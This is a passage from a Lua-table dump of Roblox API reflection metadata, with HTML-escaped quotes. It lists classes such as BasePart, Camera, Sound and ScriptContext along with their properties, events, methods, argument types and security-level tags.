 },
 {
 Name = &quot;optionalMessage&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;ReportAbuse&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAbuseReportUrl&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBuildUserPermissionsUrl&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetChatFilterUrl&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;ChatStyle&quot;,
 Name = &quot;style&quot;,
 DefaultValue = &quot;Classic&quot;
 }
 },
 Name = &quot;SetChatStyle&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetLoadDataUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetSaveDataUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetSaveLeaderboardDataUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetSysStatsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;urlId&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetSysStatsUrlId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;TeamChat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;WhisperChat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;getPlayerFromCharacter&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;getPlayers&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;playerFromCharacter&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;players&quot;,
 deprecated = true
 }
 }
 },
 BaseScript = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;BaseScript&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Disabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;LinkedSource&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 ParallelRampPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;ParallelRampPart&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 ClusterPacketCache = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ClusterPacketCache&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 VehicleController = {
 Inherits = &quot;Controller&quot;,
 Events = {
 },
 ClassName = &quot;VehicleController&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 RayValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Ray&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Ray&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;RayValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;Ray&quot;
 }
 },
 Methods = {
 }
 },
 RotateP = {
 Inherits = &quot;DynamicRotate&quot;,
 Events = {
 },
 ClassName = &quot;RotateP&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Camera = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;entering&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;FirstPersonTransition&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Name = &quot;InterpolationFinished&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Camera&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CameraSubject&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;CameraType&quot;,
 Type = &quot;CameraType&quot;
 },
 {
 Name = &quot;CoordinateFrame&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;FieldOfView&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Focus&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 deprecated = true,
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;focus&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetPanSpeed&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetRoll&quot;
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetTiltSpeed&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;endPos&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;endFocus&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;duration&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;Interpolate&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;units&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;PanUnits&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;CameraInputMode&quot;,
 Name = &quot;mode&quot;,
 DefaultValue = &quot;Classic&quot;
 }
 },
 Name = &quot;SetCameraInputMode&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;rollAngle&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;SetRoll&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;units&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;TiltUnits&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;distance&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;Zoom&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 BodyForce = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyForce&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;force&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 Motor6D = {
 Inherits = &quot;Motor&quot;,
 Events = {
 },
 ClassName = &quot;Motor6D&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 BasePart = {
 Inherits = &quot;PVInstance&quot;,
 Events = {
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;part&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;LocalSimulationTouched&quot;
 },
 {
 deprecated = true,
 Arguments = {
 },
 Name = &quot;OutfitChanged&quot;
 },
 {
 Name = &quot;StoppedTouching&quot;,
 Arguments = {
 {
 Name = &quot;otherPart&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;TouchEnded&quot;,
 Arguments = {
 {
 Name = &quot;otherPart&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Touched&quot;,
 Arguments = {
 {
 Name = &quot;otherPart&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;otherPart&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;touched&quot;
 }
 },
 ClassName = &quot;BasePart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Anchored&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;BackParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BackParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BackSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;BackSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;BottomParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BottomParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BottomSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;BottomSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;BrickColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;CFrame&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;CanCollide&quot;,
 Type = &quot;bool&quot;
 },
 {
 deprecated = true,
 Type = &quot;Color3&quot;,
 Name = &quot;Color&quot;
 },
 {
 Name = &quot;Elasticity&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Friction&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;FrontParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;FrontParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;FrontSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;FrontSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;LeftParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;LeftParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;LeftSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;LeftSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;Locked&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Material&quot;,
 Type = &quot;Material&quot;
 },
 {
 Name = &quot;Position&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 readonly = true,
 Type = &quot;float&quot;,
 Name = &quot;ReceiveAge&quot;,
 hidden = true
 },
 {
 Name = &quot;Reflectance&quot;,
 Type = &quot;float&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ResizeIncrement&quot;,
 readonly = true
 },
 {
 Type = &quot;Faces&quot;,
 Name = &quot;ResizeableFaces&quot;,
 readonly = true
 },
 {
 Name = &quot;RightParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;RightParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;RightSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;RightSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;RotVelocity&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Rotation&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;SpecificGravity&quot;,
 readonly = true
 },
 {
 Name = &quot;TopParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TopParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TopSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;TopSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;Transparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Velocity&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;brickColor&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;BreakJoints&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;recursive&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;GetConnectedParts&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetMass&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;IsGrounded&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;MakeJoints&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;normalId&quot;,
 Type = &quot;NormalId&quot;
 },
 {
 Name = &quot;deltaAmount&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;Resize&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;breakJoints&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;getMass&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;makeJoints&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;normalId&quot;,
 Type = &quot;NormalId&quot;
 },
 {
 Name = &quot;deltaAmount&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;resize&quot;,
 deprecated = true
 }
 }
 },
 PartAdornment = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;PartAdornment&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Adornee&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 TextButton = {
 Inherits = &quot;GuiButton&quot;,
 Events = {
 },
 ClassName = &quot;TextButton&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Font&quot;,
 Type = &quot;Font&quot;
 },
 {
 Name = &quot;FontSize&quot;,
 Type = &quot;FontSize&quot;
 },
 {
 Name = &quot;Text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;TextBounds&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;TextColor&quot;,
 hidden = true
 },
 {
 Name = &quot;TextColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TextFits&quot;,
 readonly = true
 },
 {
 Name = &quot;TextScaled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextStrokeColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;TextStrokeTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TextTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;bool&quot;,
 Name = &quot;TextWrap&quot;
 },
 {
 Name = &quot;TextWrapped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextXAlignment&quot;,
 Type = &quot;TextXAlignment&quot;
 },
 {
 Name = &quot;TextYAlignment&quot;,
 Type = &quot;TextYAlignment&quot;
 }
 },
 Methods = {
 }
 },
 Sound = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Sound&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsPaused&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsPlaying&quot;,
 readonly = true
 },
 {
 Name = &quot;Looped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Pitch&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;PlayOnRemove&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SoundId&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;Volume&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;bool&quot;,
 Name = &quot;isPlaying&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Pause&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Play&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Stop&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;pause&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;play&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;stop&quot;,
 deprecated = true
 }
 }
 },
 RootInstance = {
 Inherits = &quot;Model&quot;,
 Events = {
 },
 ClassName = &quot;RootInstance&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 ScriptContext = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;object&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;member&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;CamelCaseViolation&quot;,
 RobloxScriptSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;stackTrace&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;Error&quot;,
 RobloxPlaceSecurity = true
 }
 },
 ClassName = &quot;ScriptContext&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;GarbageCollectionFrequency&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;GarbageCollectionLimit&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;ScriptsDisabled&quot;,
 LocalUserSecurity = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;parent&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddCoreScript&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;AddStarterScript&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;clearHighwaterMark&quot;,
 DefaultValue = &quot;true&quot;
 }
 },
 Name = &quot;GetHeapStats&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetScriptStats&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;LibraryRegistrationComplete&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;libraryName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;scriptInstance&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RegisterDevelopmentLibrary&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;libraryName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;RegisterLibrary&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;libraryName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;RegisterRobloxLibrary&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;enable&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;SetCollectScriptStats&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;seconds&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SetTimeout&quot;,
 LocalUserSecurity = true
 }
 }
 },
 SpawnLocation = {
 Inherits = &quot;Part&quot;,
 Events = {
 },
 ClassName = &quot;SpawnLocation&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AllowTeamChangeOnTouch&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Duration&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;Neutral&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 BodyPosition = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 {
 Name = &quot;ReachedTarget&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;BodyPosition&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;D&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;P&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;maxForce&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetLastForce&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;lastForce&quot;
 }
 }
 },
 ScreenGui = {
 Inherits = &quot;LayerCollector&quot;,
 Events = {
 },
 ClassName = &quot;ScreenGui&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ReflectionMetadataYieldFunctions = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataYieldFunctions&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 AnimationTrackState = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;AnimationTrackState&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Dialog = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;DialogChoiceSelected&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;dialogChoice&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;Dialog&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ConversationDistance&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;InUse&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;InitialPrompt&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;Purpose&quot;,
 Type = &quot;DialogPurpose&quot;
 },
 {
 Name = &quot;Tone&quot;,
 Type = &quot;DialogTone&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;dialogChoice&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;SignalDialogChoiceSelected&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Visit = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Visit&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetUploadUrl&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pingUrl&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;interval&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetPing&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetUploadUrl&quot;,
 RobloxSecurity = true
 }
 }
 },
 CacheableContentProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;CacheableContentProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ForceField = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ForceField&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ControllerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ControllerService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 BodyVelocity = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyVelocity&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;P&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;maxForce&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;velocity&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetLastForce&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;lastForce&quot;
 }
 }
 },
 PersonalServerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PersonalServerService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;string&quot;,
 Name = &quot;RoleSets&quot;,
 RobloxScriptSecurity = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;Demote&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;Promote&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;personalServerGetRankUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPersonalServerGetRankUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;personalServerRoleSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPersonalServerRoleSetsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;personalServerSetRankUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPersonalServerSetRankUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetRoleSets&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Color3Value = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Color3&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Color3&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;Color3Value&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;Color3&quot;
 }
 },
 Methods = {
 }
 },
 ManualGlue = {
 Inherits = &quot;ManualSurfaceJointInstance&quot;,
 Events = {
 },
 ClassName = &quot;ManualGlue&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Platform = {
 Inherits = &quot;Part&quot;,
 Events = {
 },
 ClassName = &quot;Platform&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Seat = {
 Inherits = &quot;Part&quot;,
 Events = {
 },
